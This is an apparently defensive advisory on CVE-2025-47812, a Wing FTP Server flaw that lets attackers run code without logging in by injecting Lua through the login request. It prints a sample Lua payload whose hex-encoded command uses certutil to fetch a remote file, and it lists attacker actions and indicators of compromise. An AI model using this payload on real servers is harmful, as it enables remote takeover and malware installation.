CVE-2025-47812 Wing FTP Server RCE Vulnerability

---

Summary

• CVE ID: CVE-2025-47812
• Severity: Critical (CVSS 10.0)
• Type: Remote Code Execution (RCE)
• Affected Product: Wing FTP Server
• Affected Versions: Versions prior to 7.4.4
• Patched Version: 7.4.4 (Released June 28, 2025)
• Exploitation Status: Actively exploited in the wild

Vulnerability Details

CVE-2025-47812 is a vulnerability in the login handling mechanism of Wing FTP Server that allows unauthenticated attackers to execute arbitrary system commands on the server. It exploits a null byte injection flaw combined with Lua code injection, leading to deserialization-based RCE.

Exploit Mechanics

1. Null Byte Injection:
   • The attacker sends a specially crafted POST request to /loginok.html.
   • The username field contains a null byte (%00), which tricks the server into saving malicious Lua code in a session file.
2. Lua Code Execution:
   • The injected Lua payload is stored in a .lua session file under session/.
   • When the session is later deserialized by the server, the Lua code is executed with root or SYSTEM privileges.
3. Typical Payload:
   • A hex-encoded command wrapper using a Lua hx() function: function hx(hex) local str = ''; for i = 1, #hex-1, 2 do str = str .. string.char(tonumber(hex:sub(i, i+1), 16)); end; return str; end os.execute(hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f..."))

Real-World Attacks (Confirmed)

• First exploitation detected: July 1, 2025
• Observed behaviors:
  • Attackers executed reconnaissance commands (ipconfig, whoami, etc.).
  • Uploaded malware using certutil, including remote access tools like ScreenConnect.
  • Created rogue admin accounts in Wing FTP Server.
• Active use of Metasploit module targeting this vulnerability was confirmed.

Indicators of Compromise (IOCs)

📂 Suspicious Files:

• Unusually large or modified files in the session/ directory with Lua extensions
• Example: session/anonymous_xxxxxx.lua

📄 Log Entries:

• Truncated entries such as: User 'anonymous
• Found in log paths like: Log/Domains/YYYY-M-D.log

🌐 Malicious IPs:

• 223.160.131.0
• 185.196.9.225

🧬 Malware Observed:

• ScreenConnect Remote Access Tool
• Trojan:Win32/Ceprolad.A

Mitigation and Response

✅ Immediate Actions

Update Software:

Upgrade Wing FTP Server to version 7.4.4 or later to patch the vulnerability.

Download from: https://www.wftpserver.com/download.htm

Disable Anonymous FTP Access:

Prevent unauthenticated users from logging in, especially if not required for business operations.

Restrict Network Exposure:

Remove public access to the admin and login interfaces.

Place the server behind a firewall, VPN, or an internal-only VLAN.

Summary

• CVE-2025-47812 is a critical and actively exploited vulnerability in Wing FTP Server.
• It allows unauthenticated remote code execution via crafted login requests that inject and execute Lua scripts.
• Patching and auditing are essential—many servers are exposed and being targeted in the wild.

References

• Huntress Labs Writeup